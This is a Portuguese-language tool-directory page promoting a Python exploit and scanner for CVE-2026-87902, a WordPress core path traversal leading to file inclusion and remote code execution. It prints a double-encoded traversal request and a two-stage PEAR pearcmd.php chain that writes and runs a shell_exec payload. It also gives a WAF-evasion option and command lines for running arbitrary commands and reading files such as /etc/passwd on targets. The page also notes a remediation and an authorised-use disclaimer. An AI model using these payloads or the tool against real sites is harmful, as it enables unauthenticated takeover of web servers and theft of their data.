Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-87902 — PoC em Python e scanner para CVE-2026-87902, uma path traversal no core do WordPress que leva a LFI e RCE baseado em PEAR, com bypass de WAF e exploração automatizada. | Kitploit
Ferramentas/GitHubGitHub/bhideki/cve-2026-87902
Scanners de VulnerabilidadesAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebBypass de WAFSegurança WebTestes de PenetraçãoFerramenta de Acesso RemotoDesenvolvimento de Payloads
GitHubbhideki/cve-2026-87902

CVE-2026-87902

1há 1 diaAinda não revisado

PoC em Python e scanner para CVE-2026-87902, uma path traversal no core do WordPress que leva a LFI e RCE baseado em PEAR, com bypass de WAF e exploração automatizada.

Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-87902 — Path Traversal / LFI / RCE no núcleo do WordPress

Inclusão Local de Ficheiro (LFI) não autenticada através de path traversal com dupla codificação no resolvedor de templates de página do núcleo do WordPress, com cadeia de RCE baseada em PEAR.

Detalhes da Vulnerabilidade

CampoValor
CVECVE-2026-87902
CVSS9.2 (Crítico) — CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CWECWE-98 — Controlo Inadequado do Nome do Ficheiro para Include/Require
AfetadoWordPress 4.7.0 – 7.1.1
CorrigidoWordPress 7.1.2 + backports para todos os ramos suportados
AutenticaçãoNenhuma (não autenticado)

Causa Raiz

get_page_template() em wp-includes/template.php chama urldecode() no parâmetro de consulta pagename depois de a sanitização já ter sido executada. Uma sequência ../ com dupla codificação (%252E%252E%252F) passa pela primeira descodificação do PHP como %2E%2E%2F, sobrevive a sanitize_title_with_dashes() (que preserva sequências %xx), e é depois descodificada pela chamada tardia urldecode() do WordPress para ../ — escapando do diretório do tema.

O método POST é necessário porque redirect_canonical() retorna antecipadamente para pedidos não-GET/HEAD, impedindo que o caminho seja normalizado antes de atingir o código vulnerável.

Fluxo de Exploração

root@kitploit:~
POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded

page_id=2&pagename=templates%25252E%25252E%25252F%25252E%25252E%25252F...%25252Findex

1. PHP decodes POST body:     templates%252E%252E%252F%252E%252E%252F...%252Findex
2. WP sanitize preserves:     templates%2E%2E%2F%2E%2E%2F...%2Findex
3. get_page_template() urldecode(): templates/../../../index
4. locate_template() resolves: wp-content/themes/<theme>/page-templates/../../../index.php
5. file_exists() succeeds → include() executes the file

Impacto

  • Inclusão Local de Ficheiro — ficheiros .php arbitrários fora do diretório do tema são incluídos e executados
  • Execução Remota de Código — através da cadeia de gadget PEAR pearcmd.php (requer PEAR instalado + register_argc_argv=On)

Cadeia de RCE via PEAR

Dois pedidos POST anónimos permitem obter RCE:

Fase 1 — Incluir pearcmd.php através de traversal. A query string /?+config-create+/<php-payload>+<output>.php torna-se no argv do PEAR. O comando config-create escreve dados controlados pelo atacante (incluindo tags PHP) num diretório com permissões de escrita.

Fase 2 — Incluir o ficheiro escrito pelo PEAR. O PHP incorporado é executado com os privilégios do servidor web.

Os payloads PHP usam codificação chr() (<?=shell_exec(chr(105).chr(100))?>) para evitar caracteres de aspas que wp_magic_quotes() escaparia.

Ferramenta

cve-2026-87902.py — verificador automatizado + scanner LFI + exploit de RCE via PEAR. Usa http.client para controlo de pedidos byte-exato (sem re-codificação por bibliotecas).

Requisitos

Python 3.6+ (apenas biblioteca padrão — sem dependências pip)

Utilização

root@kitploit:~
# Check vulnerability only
python3 cve-2026-87902.py https://target.com --check

# Check with WAF bypass (multipart/form-data)
python3 cve-2026-87902.py https://target.com --check --multipart

# Specify page ID and traversal depth
python3 cve-2026-87902.py https://target.com -p 42 --depth 7

# LFI scan (default targets)
python3 cve-2026-87902.py https://target.com

# LFI scan with custom files
python3 cve-2026-87902.py https://target.com -f etc/passwd wp-includes/pluggable

# RCE via PEAR chain
python3 cve-2026-87902.py https://target.com --rce "id"

# Read a file via RCE
python3 cve-2026-87902.py https://target.com --read /etc/hostname

# Full options
python3 cve-2026-87902.py https://target.com --rce "whoami" \
    --pear /usr/local/lib/php/pearcmd \
    --output /tmp/wp-rce-payload \
    --multipart --timeout 30

O Que Faz

  1. Deteção de tema — extrai o tema ativo do HTML, sonda diretórios page-*
  2. Descoberta de páginas — consulta a REST API para páginas publicadas com templates predefinidos
  3. Teste de traversal — varre múltiplas profundidades (1-12) com payloads POST com dupla codificação
  4. Bypass de WAF — --multipart envolve o payload em multipart/form-data para evadir a correspondência de padrões da WAF
  5. Scan LFI — inclui ficheiros conhecidos do WordPress e compara tamanhos de resposta com a linha de base
  6. RCE — cadeia PEAR em duas fases com payloads codificados em chr()

Marcadores de Saída

MarcadorSignificado
[HIT]Ficheiro foi incluído com sucesso
[---]Resposta normal (ficheiro não incluído)
[???]Resposta difere significativamente — vale a pena investigar
[WAF]Bloqueado pela WAF (403)
[ERR]Falha na ligação

Pré-condições

  • O tema ativo deve conter um diretório page-* (por exemplo, page-templates/)
  • Pelo menos uma página publicada com o template predefinido
  • Versão do WordPress no intervalo afetado (sem patch)
  • Para RCE: pearcmd.php do PEAR legível + register_argc_argv=On + /tmp com permissões de escrita

Remediação

Atualize para o WordPress 7.1.2 ou a versão de segurança mais recente para o seu ramo (backports disponíveis para 4.7).

Referências

  • Robert Ressl — CVE-2026-87902 Write-up
  • WordPress Security Advisory — GHSA-7hp8-65ch-5whp
  • Hadrian Vulnerability Alert

Aviso Legal

Esta ferramenta é fornecida apenas para testes de segurança autorizados e investigação de bug bounty. Utilize-a apenas contra sistemas para os quais tem permissão explícita de teste. O acesso não autorizado a sistemas informáticos é ilegal.

Baixar ferramenta